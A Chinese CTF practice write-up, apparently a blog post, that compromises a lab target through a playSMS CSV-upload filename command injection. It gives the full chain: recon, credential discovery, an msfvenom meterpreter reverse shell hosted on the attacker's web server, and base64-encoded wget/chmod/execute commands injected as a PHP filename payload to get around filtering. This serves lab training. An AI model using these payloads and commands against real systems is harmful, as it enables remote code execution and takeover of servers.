php伪协议注入工具,CTF—攻防练习之HTTP—命令注入

主机:192.168.32.152

靶机:192.168.32.167

首先nmap,nikto -host,dirb 探测

robots.txt目录下

在/nothing目录中,查看源码发现pass

2ee2a0931a95cbdec26ae0c0dafd51c2.png

在secure目录下发现一个zip文件,下载下来,发现密码freedom即可打开

然后发现mp3文件其实是text文本,cat打开

ffbbc97b5bfb1e4e64563930134d4564.png

118d71a4edcb4ad6a534fce09bbe54d7.png

发现一段文字还有个url,打开url,用户:touhid,密码尝试出为diana

3e819941a6c5fc60f1e47c4bb51d3fb5.png

进入了页面

c6e866ad67730ec15ecd68ea80bab090.png

然后我们就看一看当前cms有没有已知的可利用漏洞,searchsploit playSMS

49df3c24176de311335c0368947b8650.png

该漏洞目录是  /usr/share/exploitdb/exploits/php/webapps/42003.txt cat下,cat下该漏洞查看该漏洞描述

ffe8e9d301bf1c863b6d2690a6bb6a18.png

大致意思就是说存在一个上传点,但文件名要改成另一种格式,就可执行和上传文件相关的代码

目录在app=main&inc=core_welcome,打开确实有上传点,上传csv文件的点

a0b10fd820dfec9c12739c194721c36c.png

用bp上传抓包改文件名测试下,确实存在命令注入

a9d1ab1f29c94310de5d56c4faf8f618.png

那我们就可以制作并上传一个反弹shell

shell为: linux/x86/meterpreter/reverse_tcp

msfvenom -p生成

msfvenom -p linux/x86/meterpreter/reverse_tcp lhost=192.168.32.152 lport=4444 elf> /var/www/html/s

重定向到apache服务器,通过执行下载命令,再修改权限

再用msfconsole监听即可

首先开启apache服务器:

survice apache2 start     开启

survice apache2 status  查看状态

再利用命令注入漏洞上传,使用命令注入漏洞时,我们可以先用base64转码绕过防火墙

echo 'wget http://192.168.32.152/s -O /tmp/a' | base64

echo 'chmod 777 /tmp/a' | base64

echo '/tmp/a' | base64

再在bp 中用命令  "<?php system(base64_decode('XXXXXXXX')); dia();?>.php"

最终完成三个命令上传拿到反弹shell

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值